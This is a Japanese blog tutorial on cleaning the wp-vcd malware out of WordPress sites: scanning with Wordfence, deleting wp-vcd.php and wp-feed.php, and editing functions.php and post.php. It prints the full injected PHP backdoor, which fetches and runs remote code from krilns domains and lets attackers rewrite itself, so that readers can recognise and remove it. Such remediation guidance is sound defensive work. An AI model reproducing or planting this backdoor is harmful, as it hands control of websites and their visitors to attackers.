WEB × マーケティング × 海外 × 英語
2025年5月9日 金曜日
旅人ほだ
  • HOME
  • Web関連
    • すべて
    • PayPal
    • 海外ツール
    ページ読み込み時にスタートする カウントダウンタイマーを実装するためのコード

    ページ読み込み時にスタートする カウントダウンタイマーを実装するためのコード

    【注意喚起】2fa.liveとは?使い方と危険性を初心者向けに解説

    【注意喚起】2fa.liveとは?使い方と危険性を初心者向けに解説

    Google Font のアイコンを使う方法

    Google Font のアイコンを使う方法

    WooCommerce に Paidy 支払いを実装/連携した手順

    WooCommerce に Paidy 支払いを実装/連携した手順

    【コピペでOK】PC上の動画ファイルから音声だけを削除する方法 | 動画編集ソフトなし

    【コピペでOK】PC上の動画ファイルから音声だけを削除する方法 | 動画編集ソフトなし

    Google Gemini のAPIを使って何ができる? 仕事で活用したいアイディア

    Google Gemini のAPIを使って何ができる? 仕事で活用したいアイディア

    【初心者向け】UptimeRobot の使い方を徹底解説

    【初心者向け】UptimeRobot の使い方を徹底解説

    PDFelement で使える ショートカットキー一覧

    PDFelement で使える ショートカットキー一覧

    [解決済] Premirer Pro(25.0)で字幕キャプションのスタイルを変更できない現象について

    [解決済] Premirer Pro(25.0)で字幕キャプションのスタイルを変更できない現象について

    TCommerceとは? Thinkific Paymentsとの違いを解説

    TCommerceとは? Thinkific Paymentsとの違いを解説

  • 海外旅行
    • アジア
    • アフリカ
    • 中東
    • 中欧
    • 北欧
    • 東欧
    • 西欧
    • 北米
    • 南米
  • その他
    • 今日の名言
    • 考えていること
    • Web関連
    • 旅に役立つ
    • 【Premiere Pro】Youtube用タイムスタンプ変換ツール
  • Kajabi
No Result
すべての結果を表示
旅人ほだ
  • HOME
  • Web関連
    • すべて
    • PayPal
    • 海外ツール
    ページ読み込み時にスタートする カウントダウンタイマーを実装するためのコード

    ページ読み込み時にスタートする カウントダウンタイマーを実装するためのコード

    【注意喚起】2fa.liveとは?使い方と危険性を初心者向けに解説

    【注意喚起】2fa.liveとは?使い方と危険性を初心者向けに解説

    Google Font のアイコンを使う方法

    Google Font のアイコンを使う方法

    WooCommerce に Paidy 支払いを実装/連携した手順

    WooCommerce に Paidy 支払いを実装/連携した手順

    【コピペでOK】PC上の動画ファイルから音声だけを削除する方法 | 動画編集ソフトなし

    【コピペでOK】PC上の動画ファイルから音声だけを削除する方法 | 動画編集ソフトなし

    Google Gemini のAPIを使って何ができる? 仕事で活用したいアイディア

    Google Gemini のAPIを使って何ができる? 仕事で活用したいアイディア

    【初心者向け】UptimeRobot の使い方を徹底解説

    【初心者向け】UptimeRobot の使い方を徹底解説

    PDFelement で使える ショートカットキー一覧

    PDFelement で使える ショートカットキー一覧

    [解決済] Premirer Pro(25.0)で字幕キャプションのスタイルを変更できない現象について

    [解決済] Premirer Pro(25.0)で字幕キャプションのスタイルを変更できない現象について

    TCommerceとは? Thinkific Paymentsとの違いを解説

    TCommerceとは? Thinkific Paymentsとの違いを解説

  • 海外旅行
    • アジア
    • アフリカ
    • 中東
    • 中欧
    • 北欧
    • 東欧
    • 西欧
    • 北米
    • 南米
  • その他
    • 今日の名言
    • 考えていること
    • Web関連
    • 旅に役立つ
    • 【Premiere Pro】Youtube用タイムスタンプ変換ツール
  • Kajabi
No Result
すべての結果を表示
旅人ほだ
No Result
すべての結果を表示
Home Web関連

WordPressのマルウエアを削除する方法 完全ガイド (wp-vcd.phpなど)

Hoda by Hoda
2019年12月24日 - 最終更新日 2024年12月16日
カテゴリー: Web関連
WordPressのマルウエアを削除する方法 完全ガイド (wp-vcd.phpなど)
48
シェア
2.3k
VIEWS
FacebookでシェアつぶやくLineで送るスマホで見る

目次

Toggle
  • マルウェア(Malware)とは?
  • まずはマルウェアをスキャン
  • マルウウェアの主な原因
    • ① wp-vcd.phpの削除
    • ② wp-feed.php の削除
    • ③ テーマ内の functions.php の修正
    • ④ post.php の修正
    • ⑤ その他ファイルの修正
  • サーバー内の他のサイトも確認して下さい
  • サイトのダウンタイム監視も重要

こんにちは。

今回の記事ではWordPressがマルウェアに感染してしまった時の対処方をご説明します。

マルウェア(Malware)とは?

WordPressのマルウェアとは、WordPressサイトやWordPressテーマ、プラグインなどに感染した悪意のあるコードのことを指します。マルウェアに感染したWordPressサイトは、様々な悪影響を受ける可能性があります。

例えば、マルウェアに感染したWordPressサイトは、以下のような悪影響を受ける可能性があります。

  1. サイトの情報が盗まれる:マルウェアに感染したWordPressサイトは、サイトにアクセスしたユーザーの情報を収集し、ハッカーに盗まれる可能性があります。

  2. ハッキングの踏み台にされる:マルウェアに感染したWordPressサイトは、ハッカーによって制御され、他のサイトへの攻撃の踏み台となることがあります。

  3. SEOの被害を受ける:マルウェアに感染したWordPressサイトは、検索エンジンの検索結果から除外される可能性があります。これは、サイトのSEOに悪影響を与える可能性があるためです。

  4. サイトの動作に影響を与える:マルウェアに感染したWordPressサイトは、サイトの動作に影響を与え、正常に動作しなくなることがあります。

WordPressサイトを運営する際には、セキュリティ対策を十分に行うことが重要です。定期的なバックアップやセキュリティプラグインの導入、パスワードの強化などが有効な対策となります。

 

まずはマルウェアをスキャン

とにもかくにも、まずは原因を突き止める必要があります。そのために、「Wordfence」という無料プラグインをインストールして有効化します。

Wordfence Security – Firewall, Malware Scan, and Login Security

 

 

 

そして「Wordfence」>「Scan」に進みます。「START NEW SCAN」をクリックしていスキャンを行います。

 

スキャンには時間がかかりますが、完了すると問題のある部分のリストが表示されます。

この中で「Critical」という項目は必ず修正する必要があります。

 

マルウウェアの主な原因

原因はいくつかありますが、基本的に以下の部分が問題になることが多いです。

 

① wp-vcd.phpの削除

マルウェアにおいて1番よくあるのがこちらのファイルを追加されていることです。

FTPでアクセスして、 wp-includes/wp-vcd.php にインストールされたこのファイルを削除する必要があります。

 

② wp-feed.php の削除

同時に wp-includes/wp-feed.php に 勝手にファイルを作成されていることがあるので「wp-feed.php」も削除します。

 

③ テーマ内の functions.php の修正

↑このような表示があるので、テーマ内のfunctions.php のファイルを修正します。この警告が出ていれば、functions.php 内の先頭に以下のコードが挿入されていることが多いので確認してから削除をしましょう。

 

<?php
if (isset($_REQUEST['action']) && isset($_REQUEST['password']) && ($_REQUEST['password'] == '94d7c9be1abb7310b4c554fc3bfc8528'))
	{
$div_code_name="wp_vcd";
		switch ($_REQUEST['action'])
			{

				




				case 'change_domain';
					if (isset($_REQUEST['newdomain']))
						{
							
							if (!empty($_REQUEST['newdomain']))
								{
                                                                           if ($file = @file_get_contents(__FILE__))
		                                                                    {
                                                                                                 if(preg_match_all('/\$tmpcontent = @file_get_contents\("http:\/\/(.*)\/code\.php/i',$file,$matcholddomain))
                                                                                                             {

			                                                                           $file = preg_replace('/'.$matcholddomain[1][0].'/i',$_REQUEST['newdomain'], $file);
			                                                                           @file_put_contents(__FILE__, $file);
									                           print "true";
                                                                                                             }


		                                                                    }
								}
						}
				break;

								case 'change_code';
					if (isset($_REQUEST['newcode']))
						{
							
							if (!empty($_REQUEST['newcode']))
								{
                                                                           if ($file = @file_get_contents(__FILE__))
		                                                                    {
                                                                                                 if(preg_match_all('/\/\/\$start_wp_theme_tmp([\s\S]*)\/\/\$end_wp_theme_tmp/i',$file,$matcholdcode))
                                                                                                             {

			                                                                           $file = str_replace($matcholdcode[1][0], stripslashes($_REQUEST['newcode']), $file);
			                                                                           @file_put_contents(__FILE__, $file);
									                           print "true";
                                                                                                             }


		                                                                    }
								}
						}
				break;
				
				default: print "ERROR_WP_ACTION WP_V_CD WP_CD";
			}
			
		die("");
	}








$div_code_name = "wp_vcd";
$funcfile      = __FILE__;
if(!function_exists('theme_temp_setup')) {
    $path = $_SERVER['HTTP_HOST'] . $_SERVER[REQUEST_URI];
    if (stripos($_SERVER['REQUEST_URI'], 'wp-cron.php') == false && stripos($_SERVER['REQUEST_URI'], 'xmlrpc.php') == false) {
        
        function file_get_contents_tcurl($url)
        {
            $ch = curl_init();
            curl_setopt($ch, CURLOPT_AUTOREFERER, TRUE);
            curl_setopt($ch, CURLOPT_HEADER, 0);
            curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
            curl_setopt($ch, CURLOPT_URL, $url);
            curl_setopt($ch, CURLOPT_FOLLOWLOCATION, TRUE);
            $data = curl_exec($ch);
            curl_close($ch);
            return $data;
        }
        
        function theme_temp_setup($phpCode)
        {
            $tmpfname = tempnam(sys_get_temp_dir(), "theme_temp_setup");
            $handle   = fopen($tmpfname, "w+");
           if( fwrite($handle, "<?php\n" . $phpCode))
		   {
		   }
			else
			{
			$tmpfname = tempnam('./', "theme_temp_setup");
            $handle   = fopen($tmpfname, "w+");
			fwrite($handle, "<?php\n" . $phpCode);
			}
			fclose($handle);
            include $tmpfname;
            unlink($tmpfname);
            return get_defined_vars();
        }
        

$wp_auth_key='bd77cd4ba9fae84678e6f1b5cf9b9665';
        if (($tmpcontent = @file_get_contents("http://www.krilns.com/code.php") OR $tmpcontent = @file_get_contents_tcurl("http://www.krilns.com/code.php")) AND stripos($tmpcontent, $wp_auth_key) !== false) {

            if (stripos($tmpcontent, $wp_auth_key) !== false) {
                extract(theme_temp_setup($tmpcontent));
                @file_put_contents(ABSPATH . 'wp-includes/wp-tmp.php', $tmpcontent);
                
                if (!file_exists(ABSPATH . 'wp-includes/wp-tmp.php')) {
                    @file_put_contents(get_template_directory() . '/wp-tmp.php', $tmpcontent);
                    if (!file_exists(get_template_directory() . '/wp-tmp.php')) {
                        @file_put_contents('wp-tmp.php', $tmpcontent);
                    }
                }
                
            }
        }
        
        
        elseif ($tmpcontent = @file_get_contents("http://www.krilns.pw/code.php")  AND stripos($tmpcontent, $wp_auth_key) !== false ) {

if (stripos($tmpcontent, $wp_auth_key) !== false) {
                extract(theme_temp_setup($tmpcontent));
                @file_put_contents(ABSPATH . 'wp-includes/wp-tmp.php', $tmpcontent);
                
                if (!file_exists(ABSPATH . 'wp-includes/wp-tmp.php')) {
                    @file_put_contents(get_template_directory() . '/wp-tmp.php', $tmpcontent);
                    if (!file_exists(get_template_directory() . '/wp-tmp.php')) {
                        @file_put_contents('wp-tmp.php', $tmpcontent);
                    }
                }
                
            }
        } 
		
		        elseif ($tmpcontent = @file_get_contents("http://www.krilns.top/code.php")  AND stripos($tmpcontent, $wp_auth_key) !== false ) {

if (stripos($tmpcontent, $wp_auth_key) !== false) {
                extract(theme_temp_setup($tmpcontent));
                @file_put_contents(ABSPATH . 'wp-includes/wp-tmp.php', $tmpcontent);
                
                if (!file_exists(ABSPATH . 'wp-includes/wp-tmp.php')) {
                    @file_put_contents(get_template_directory() . '/wp-tmp.php', $tmpcontent);
                    if (!file_exists(get_template_directory() . '/wp-tmp.php')) {
                        @file_put_contents('wp-tmp.php', $tmpcontent);
                    }
                }
                
            }
        }
		elseif ($tmpcontent = @file_get_contents(ABSPATH . 'wp-includes/wp-tmp.php') AND stripos($tmpcontent, $wp_auth_key) !== false) {
            extract(theme_temp_setup($tmpcontent));
           
        } elseif ($tmpcontent = @file_get_contents(get_template_directory() . '/wp-tmp.php') AND stripos($tmpcontent, $wp_auth_key) !== false) {
            extract(theme_temp_setup($tmpcontent)); 

        } elseif ($tmpcontent = @file_get_contents('wp-tmp.php') AND stripos($tmpcontent, $wp_auth_key) !== false) {
            extract(theme_temp_setup($tmpcontent)); 

        } 
        
        
        
        
        
    }
}

//$start_wp_theme_tmp



//wp_tmp


//$end_wp_theme_tmp
?>

 

慣れない場合は自分でやるのはオススメできません。間違ってfunctions.phpファイルの中身を消してしまうとサイトが表示されなくなってしまいます。

もしヘルプが必要ということでしたら僕の方でも対応できるので、お問い合わせフォームからご連絡いただければと思います。

また、1つのテーマにこの警告が見つかったら、他のテーマの functions.php にも感染していることが多いです。必ず確認しましょう。また、使っていないテーマがあればこの際に削除してしまってもいいです。

 

↑テーマの functions.php のこの部分から上を削除します。

 

④ post.php の修正

以下のように post.php ファイルにも「Critical」という警告が出ますが、削除をしてはいけません。こちらもファイル内を修正する必要があります。

FTPで wp-includes/post.php にアクセスをして、以下の部分を削除します。こちらも基本的には先頭に追加されています。

<?php if (file_exists(dirname(__FILE__) . '/wp-vcd.php')) include_once(dirname(__FILE__) . '/wp-vcd.php'); ?>

 

 

⑤ その他ファイルの修正

その他に「Critical」が表示されている部分は必ず修正する必要があります。

その以下は例になります。こちらが表示されていたら、該当するファイルを開いて、指定された箇所を削除します。こちらも慣れない場合は自分でやらない方がいいです。

 

 

サーバー内の他のサイトも確認して下さい

このようにマルウエアが確認されたら、同じサーバーの他のWordPressのサイトも感染していることが多いです。ですので、必ず他のサイトも確認するようにしましょう。

  • 公式サイトからダウンロードしていない海賊版のテーマ・プラグインを使用している
  • アカウント情報(ユーザー名・パスワード)が簡単すぎる
  • WordPressの公式サイトから削除されたプラグインを使用している
  • WordPressのバージョンが古い

↑できるだけこの項目に気をつけるようにしましょう。

 

Wordfenceのプラグインを使って、定期的にスキャンをするようにしましょう。

サイトのダウンタイム監視も重要

サイトを常にモニタリングしておくことで、サイトの異常を察知することも可能です。 UptimeRobot のようにダウンタイム監視ツールを活用することも重要です。

【初心者向け】UptimeRobot の使い方を徹底解説

Previous Post

これ一択!簡単かつ高機能のWordPressフォームプラグイン(海外有料プラグイン)

Next Post

Googleへの問い合わせ : 無償版のGSuiteアカウントでの追加ドメインの方法

Hoda

Hoda

ITフリーランス / WordPressエキスパート / 海外クラウドサービス導入 / IT翻訳 / 動画制作 / SEOマーケティング / アプリ開発 / 写真家 / WEBメディア多数運営

海外在住:4カ国 (ポーランド、カナダ、リトアニア、デンマーク)
海外渡航:約40カ国
2024年9月から非営利ビザ(ほぼリタイアメントビザ)を使ってスペインに移住しています。

貴重なお時間をこのブログに割いていただきありがとうございます! 海外を中心に生活をしており、IT系のフリーランスをしています。ノマドとして生活をして海外で大学生をしたり、ボランティアをしたり自由に生きています。
英語/ポーランド語が話せます。
スペイン語は勉強中...

関連記事

ページ読み込み時にスタートする カウントダウンタイマーを実装するためのコード
Web関連

ページ読み込み時にスタートする カウントダウンタイマーを実装するためのコード

2025年5月1日
【注意喚起】2fa.liveとは?使い方と危険性を初心者向けに解説
Web関連

【注意喚起】2fa.liveとは?使い方と危険性を初心者向けに解説

2025年4月17日
Google Font のアイコンを使う方法
Web関連

Google Font のアイコンを使う方法

2025年3月14日
WooCommerce に Paidy 支払いを実装/連携した手順
Web関連

WooCommerce に Paidy 支払いを実装/連携した手順

2025年3月6日
【コピペでOK】PC上の動画ファイルから音声だけを削除する方法 | 動画編集ソフトなし
海外ツール

【コピペでOK】PC上の動画ファイルから音声だけを削除する方法 | 動画編集ソフトなし

2024年12月31日
Google Gemini のAPIを使って何ができる? 仕事で活用したいアイディア
Web関連

Google Gemini のAPIを使って何ができる? 仕事で活用したいアイディア

2024年12月24日
【初心者向け】UptimeRobot の使い方を徹底解説
Web関連

【初心者向け】UptimeRobot の使い方を徹底解説

PDFelement で使える ショートカットキー一覧
海外ツール

PDFelement で使える ショートカットキー一覧

2024年12月8日 - 最終更新日 2024年12月20日

目次

    最新の記事

    ページ読み込み時にスタートする カウントダウンタイマーを実装するためのコード

    【バレンシア】ボナイレ アルダイア ショッピングセンターへの行き方

    【注意喚起】2fa.liveとは?使い方と危険性を初心者向けに解説

    Kajabi: La plataforma todo-en-uno para vender tu conocimiento online

    Google Font のアイコンを使う方法

    WooCommerce に Paidy 支払いを実装/連携した手順

    スペインで Cl@ve を申請してきました!申請方法・予約・当日の流れなど

    【コピペでOK】PC上の動画ファイルから音声だけを削除する方法 | 動画編集ソフトなし

    意気揚々と”ふるさと納税”をしたら間違って大損した話

    【スペイン】バレンシア空港でプライオリティパスのラウンジを使用!今までで一番いいかも

    Pickup!!

    日本語対応 Shopify ポイントアプリ「Loloyal」の使い方完全解説【無料/有料】

    2024年初心者向けShopifyサイト開設方法/チュートリアル/使い方

    【2025年版】KAJABIとは?メリット デメリット/特徴/使い方/料金を完全解説!

    超詳しく!Mailerlite(メーラーライト)の登録方法/使い方/メリットをご紹介!

    Ultrahuman Ring AIRを3週間使ってみたレビュー! 実際の使用感や機能について

    Systeme.io とは?メリットデメリット/特徴/使い方/料金を完全解説!

    【価格表あり】teachableの無料プラン・価格プランを徹底解説 2024年

    Mailchimpとは? 使い方/活用方法/メリット/評判をプロが紹介!

    【初心者向け】UptimeRobot の使い方を徹底解説

    2024年 Thinkificの使い方/特徴/メリットデメリットを完全解説!

    teachable(ティーチャブル)の構築方法/特徴/メリットデメリットを完全解説!

    便利ツール

    • YouTube 動画IDファインダー【無料オンラインツール】
    • YouTube 低評価数計算ツール

    旅人、起業家、アプリ開発者、WEBデザイナー、サイト翻訳家、動画製作者、WEBコンサルタントなどなどとして活動しています「旅人ほだ」の公式サイトです。

    色んなスキルを駆使して色んなことをしています。最近は仕事が楽しすぎてブログの方が疎かになっていますが、時間を見つけて更新していこうと思います!

    Hoda

    Hoda

    PR

    • Facebook
    • Twitter
    • Youtube
    • instagram

    © 2024 旅人ほだ

    No Result
    すべての結果を表示
    • HOME
    • Web関連
    • 海外旅行
      • アジア
      • アフリカ
      • 中東
      • 中欧
      • 北欧
      • 東欧
      • 西欧
      • 北米
      • 南米
    • その他
      • 今日の名言
      • 考えていること
      • Web関連
      • 旅に役立つ
      • 【Premiere Pro】Youtube用タイムスタンプ変換ツール
    • Kajabi

    © 2024 旅人ほだ